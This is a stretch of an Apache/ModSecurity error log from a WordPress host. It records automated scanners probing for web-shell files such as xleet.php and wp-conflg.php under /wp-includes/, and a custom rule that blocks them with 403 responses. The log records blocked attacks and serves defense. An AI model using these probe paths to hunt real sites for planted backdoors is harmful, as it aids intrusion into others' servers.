[Fri Nov 21 16:01:31.533410 2025] [:error] [pid 25429:tid 25443] [client 136.144.42.74:33169] [client 136.144.42.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/wp-sup.php"] [unique_id "aSAcWz4rZbRSr7vu-NOptgAAAAo"]
[Fri Nov 21 16:01:33.389447 2025] [:error] [pid 25521:tid 25527] [client 136.144.42.72:41937] [client 136.144.42.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-t.api.php"] [unique_id "aSAcXfhXnBMilDddn3XobQAAAMQ"]
[Fri Nov 21 16:01:36.016651 2025] [:error] [pid 25430:tid 25480] [client 45.132.227.63:26287] [client 45.132.227.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/require-dynamic-blocks.php"] [unique_id "aSAcYKpnWJcWt_4foXlFkQAAAFQ"]
[Fri Nov 21 16:01:39.093773 2025] [:error] [pid 25429:tid 25450] [client 45.132.227.59:34645] [client 45.132.227.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-wp-widget-rss-database.php"] [unique_id "aSAcYz4rZbRSr7vu-NOp9wAAABE"]
[Fri Nov 21 16:01:40.482954 2025] [:error] [pid 46939:tid 46954] [client 172.98.32.80:55269] File does not exist: /usr/local/apache/htdocs/suspended-page/click.php
[Fri Nov 21 16:01:40.911498 2025] [:error] [pid 46939:tid 46963] [client 172.98.32.80:55269] [client 172.98.32.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-customize-manager-client.php"] [unique_id "aSAcZO0OmVoxD4VZ_ZlyRwAAAVU"]
[Fri Nov 21 16:01:41.882492 2025] [:error] [pid 25554:tid 25563] [client 45.132.227.57:54711] [client 45.132.227.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-boolean.php"] [unique_id "aSAcZR-NtB-9AzFZrk5VhgAAAQU"]
[Fri Nov 21 16:01:44.998626 2025] [:error] [pid 25431:tid 25489] [client 136.144.42.75:56415] [client 136.144.42.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/simi.php"] [unique_id "aSAcaMklhXxmoIExII01ZwAAAII"]
[Fri Nov 21 16:01:45.922532 2025] [:error] [pid 25521:tid 25541] [client 136.144.42.79:53191] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-admin.php
[Fri Nov 21 16:01:48.407250 2025] [:error] [pid 25521:tid 25538] [client 136.144.42.79:53191] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-editor.php
[Fri Nov 21 16:01:49.991545 2025] [:error] [pid 25521:tid 25538] [client 136.144.42.79:53191] [client 136.144.42.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/style-engine-session.php"] [unique_id "aSAcbfhXnBMilDddn3XougAAAM8"]
[Fri Nov 21 16:01:51.842666 2025] [:error] [pid 25521:tid 25539] [client 172.98.32.81:54361] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfusm.php
[Fri Nov 21 16:01:52.733428 2025] [:error] [pid 25521:tid 25545] [client 172.98.32.81:54361] [client 172.98.32.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aSAccPhXnBMilDddn3Xo0QAAANY"]
[Fri Nov 21 16:01:53.661515 2025] [:error] [pid 46939:tid 46964] [client 136.144.42.77:53449] [client 136.144.42.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/blocks/file/wp-style.php"] [unique_id "aSAcce0OmVoxD4VZ_ZlyiAAAAVY"]
[Fri Nov 21 16:01:55.499809 2025] [:error] [pid 25554:tid 25573] [client 172.98.32.89:35731] [client 172.98.32.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/IXR/class-IXR-cilent.php"] [unique_id "aSAccx-NtB-9AzFZrk5VzAAAAQ8"]
[Fri Nov 21 16:01:57.750465 2025] [:error] [pid 25430:tid 25484] [client 45.132.227.66:32629] [client 45.132.227.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/images/install.php"] [unique_id "aSAcdapnWJcWt_4foXlGBwAAAFg"]
[Fri Nov 21 16:01:58.646526 2025] [:error] [pid 25429:tid 25443] [client 136.144.42.79:62577] [client 136.144.42.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/xleet.php"] [unique_id "aSAcdj4rZbRSr7vu-NOqOAAAAAo"]
[Fri Nov 21 16:02:01.401893 2025] [:error] [pid 25431:tid 25510] [client 172.98.32.79:57083] File does not exist: /usr/local/apache/htdocs/suspended-page/f35_SpaceTn.php
[Fri Nov 21 16:02:03.698860 2025] [:error] [pid 25431:tid 25508] [client 172.98.32.79:57083] [client 172.98.32.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/category-double.php"] [unique_id "aSAce8klhXxmoIExII01nwAAAJU"]
[Fri Nov 21 16:02:05.614895 2025] [:error] [pid 25430:tid 25461] [client 172.98.32.90:24329] [client 172.98.32.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/assets/db.php"] [unique_id "aSAcfapnWJcWt_4foXlGGgAAAEE"]
[Fri Nov 21 16:02:06.507487 2025] [:error] [pid 25431:tid 25504] [client 172.98.32.92:36637] [client 172.98.32.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/widgets/security.php"] [unique_id "aSAcfsklhXxmoIExII01pQAAAJE"]
[Fri Nov 21 16:02:09.363646 2025] [:error] [pid 25521:tid 25535] [client 172.98.32.83:40051] File does not exist: /usr/local/apache/htdocs/suspended-page/gm.php
[Fri Nov 21 16:02:09.788110 2025] [:error] [pid 25521:tid 25540] [client 172.98.32.83:40051] [client 172.98.32.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-language-pack.php"] [unique_id "aSAcgfhXnBMilDddn3XpTwAAANE"]
[Fri Nov 21 16:02:11.110071 2025] [:error] [pid 25554:tid 25564] [client 136.144.42.75:50539] [client 136.144.42.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/class-walker-comment-client.php"] [unique_id "aSAcgx-NtB-9AzFZrk5WEgAAAQY"]
[Fri Nov 21 16:02:14.757062 2025] [:error] [pid 25430:tid 25465] [client 45.132.227.54:36929] [client 45.132.227.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-network-query-stat.php"] [unique_id "aSAchqpnWJcWt_4foXlGQwAAAEU"]
[Fri Nov 21 16:02:16.095716 2025] [:error] [pid 25431:tid 25495] [client 136.144.42.78:46255] File does not exist: /usr/local/apache/htdocs/suspended-page/plugin-install.php
[Fri Nov 21 16:02:16.541034 2025] [:error] [pid 25431:tid 25511] [client 136.144.42.78:46255] [client 136.144.42.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-session-tokens-https.php"] [unique_id "aSAciMklhXxmoIExII010wAAAJg"]
[Fri Nov 21 16:02:18.383655 2025] [:error] [pid 25554:tid 25567] [client 172.98.32.100:25373] [client 172.98.32.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/images/crystal/lrs_dage.php"] [unique_id "aSAcih-NtB-9AzFZrk5WSQAAAQk"]
[Fri Nov 21 16:02:19.719836 2025] [:error] [pid 25430:tid 25477] [client 136.144.42.80:41035] [client 136.144.42.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/as.php"] [unique_id "aSAci6pnWJcWt_4foXlGWQAAAFE"]
[Fri Nov 21 16:02:21.056182 2025] [:error] [pid 25429:tid 25457] [client 136.144.42.70:48297] [client 136.144.42.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/certificates/wp-conflg.php"] [unique_id "aSAcjT4rZbRSr7vu-NOqkQAAABg"]
[Fri Nov 21 16:02:21.946898 2025] [:error] [pid 25429:tid 25447] [client 45.132.227.61:36075] [client 45.132.227.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/install.php"] [unique_id "aSAcjT4rZbRSr7vu-NOqlAAAAA4"]
[Fri Nov 21 16:02:22.832371 2025] [:error] [pid 25521:tid 25545] [client 45.132.227.52:34459] [client 45.132.227.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/customize/db.php"] [unique_id "aSAcjvhXnBMilDddn3XpkgAAANY"]
[Fri Nov 21 16:02:26.394303 2025] [:error] [pid 25429:tid 25446] [client 172.98.32.92:50827] [client 172.98.32.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/js/thickbox/about.php"] [unique_id "aSAckj4rZbRSr7vu-NOqugAAAA0"]
[Fri Nov 21 16:02:28.603668 2025] [:error] [pid 25430:tid 25468] [client 172.98.32.89:28665] [client 172.98.32.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/rk2.php"] [unique_id "aSAclKpnWJcWt_4foXlGegAAAEg"]
[Fri Nov 21 16:02:30.409408 2025] [:error] [pid 46939:tid 46965] [client 172.98.32.100:33769] File does not exist: /usr/local/apache/htdocs/suspended-page/b.php
[Fri Nov 21 16:02:30.850832 2025] [:error] [pid 46939:tid 46946] [client 172.98.32.100:33769] [client 172.98.32.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/certificates/past.php"] [unique_id "aSAclu0OmVoxD4VZ_ZlziAAAAUQ"]
[Fri Nov 21 16:02:33.010740 2025] [:error] [pid 46939:tid 46952] [client 172.98.32.86:42925] [client 172.98.32.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/edit-tags.php"] [unique_id "aSAcme0OmVoxD4VZ_ZlzogAAAUo"]
[Fri Nov 21 16:02:33.946059 2025] [:error] [pid 46939:tid 46966] [client 45.132.227.65:51175] File does not exist: /usr/local/apache/htdocs/suspended-page/wsax.php
[Fri Nov 21 16:02:36.644540 2025] [:error] [pid 46939:tid 46953] [client 45.132.227.65:51175] [client 45.132.227.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/footer-default.php"] [unique_id "aSAcnO0OmVoxD4VZ_ZlzygAAAUs"]
[Fri Nov 21 16:02:38.064190 2025] [:error] [pid 25521:tid 25532] [client 172.98.32.88:48217] [client 172.98.32.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-wp-widget-meta-request.php"] [unique_id "aSAcnvhXnBMilDddn3XpyQAAAMk"]
[Fri Nov 21 16:02:39.436680 2025] [:error] [pid 25431:tid 25489] [client 45.132.227.63:47283] [client 45.132.227.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/edit-widgets/bypass.php"] [unique_id "aSAcn8klhXxmoIExII02OwAAAII"]
[Fri Nov 21 16:02:41.194793 2025] [:error] [pid 25431:tid 25501] [client 172.98.32.84:62679] [client 172.98.32.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/l10n/wp-login.php"] [unique_id "aSAcocklhXxmoIExII02WQAAAI4"]
[Fri Nov 21 16:02:45.773013 2025] [:error] [pid 25554:tid 25564] [client 172.98.32.91:50937] [client 172.98.32.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/widgets/wp-ss.php"] [unique_id "aSAcpR-NtB-9AzFZrk5W_gAAAQY"]
[Fri Nov 21 16:02:46.631677 2025] [:error] [pid 25429:tid 25437] [client 172.98.32.93:61283] [client 172.98.32.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/IXR/xsec1.php"] [unique_id "aSAcpj4rZbRSr7vu-NOq7QAAAAQ"]
[Fri Nov 21 16:02:48.844334 2025] [:error] [pid 25521:tid 25528] [client 45.132.227.52:33297] [client 45.132.227.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/images/crystal/sad.php"] [unique_id "aSAcqPhXnBMilDddn3Xp-gAAAMU"]
[Fri Nov 21 16:02:49.721417 2025] [:error] [pid 25521:tid 25535] [client 172.98.32.95:43321] [client 172.98.32.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aSAcqfhXnBMilDddn3XqAgAAAMw"]
[Fri Nov 21 16:02:51.484057 2025] [:error] [pid 25429:tid 25444] [client 136.144.42.78:24059] [client 136.144.42.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/class-phpmailer-beta.php"] [unique_id "aSAcqz4rZbRSr7vu-NOrAAAAAAs"]
[Fri Nov 21 16:02:52.438226 2025] [:error] [pid 25521:tid 25526] [client 172.98.32.99:62797] [client 172.98.32.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/ms-file.php"] [unique_id "aSAcrPhXnBMilDddn3XqGAAAAMM"]
[Fri Nov 21 16:02:53.358804 2025] [:error] [pid 25521:tid 25527] [client 172.98.32.81:39719] [client 172.98.32.81] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.98.32.81, incrementing brute counter"] [hostname "www.windfarmcoolants.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aSAcrfhXnBMilDddn3XqHwAAAMQ"]
[Fri Nov 21 16:02:53.364871 2025] [:error] [pid 25521:tid 25527] [client 172.98.32.81:39719] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/wp-login.php
[Fri Nov 21 16:02:53.791974 2025] [:error] [pid 25521:tid 25544] [client 172.98.32.81:39719] [client 172.98.32.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/widgets/av.php"] [unique_id "aSAcrfhXnBMilDddn3XqJAAAANU"]
[Fri Nov 21 16:02:55.641177 2025] [:error] [pid 46939:tid 46948] [client 136.144.42.77:30465] File does not exist: /usr/local/apache/htdocs/suspended-page/bs1.php
[Fri Nov 21 16:02:56.068502 2025] [:error] [pid 46939:tid 46954] [client 136.144.42.77:30465] [client 136.144.42.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aSAcsO0OmVoxD4VZ_Zl0XQAAAUw"]
[Fri Nov 21 16:02:56.978681 2025] [:error] [pid 25429:tid 25449] [client 172.98.32.91:23193] [client 172.98.32.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/network.php"] [unique_id "aSAcsD4rZbRSr7vu-NOrCwAAABA"]
[Fri Nov 21 16:02:57.843998 2025] [:error] [pid 25430:tid 25461] [client 45.132.227.55:42083] File does not exist: /usr/local/apache/htdocs/suspended-page/page.php
[Fri Nov 21 16:03:02.234124 2025] [:error] [pid 25430:tid 25472] [client 45.132.227.55:42083] [client 45.132.227.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/XML/content.php"] [unique_id "aSActqpnWJcWt_4foXlG9AAAAEw"]
[Fri Nov 21 16:03:03.185474 2025] [:error] [pid 25554:tid 25566] [client 172.98.32.100:23089] [client 172.98.32.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/pomo/item.php"] [unique_id "aSActx-NtB-9AzFZrk5XWAAAAQg"]
[Fri Nov 21 16:03:06.123291 2025] [:error] [pid 25554:tid 25572] [client 45.132.227.59:32293] [client 45.132.227.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/pomo/plugins.php"] [unique_id "aSAcuh-NtB-9AzFZrk5XaQAAAQ4"]
[Fri Nov 21 16:03:06.984911 2025] [:error] [pid 25430:tid 25471] [client 45.132.227.64:24543] [client 45.132.227.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/assets/install.php"] [unique_id "aSAcuqpnWJcWt_4foXlHBgAAAEs"]
[Fri Nov 21 16:03:07.854484 2025] [:error] [pid 25431:tid 25489] [client 136.144.42.72:34549] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/gecko-old.php
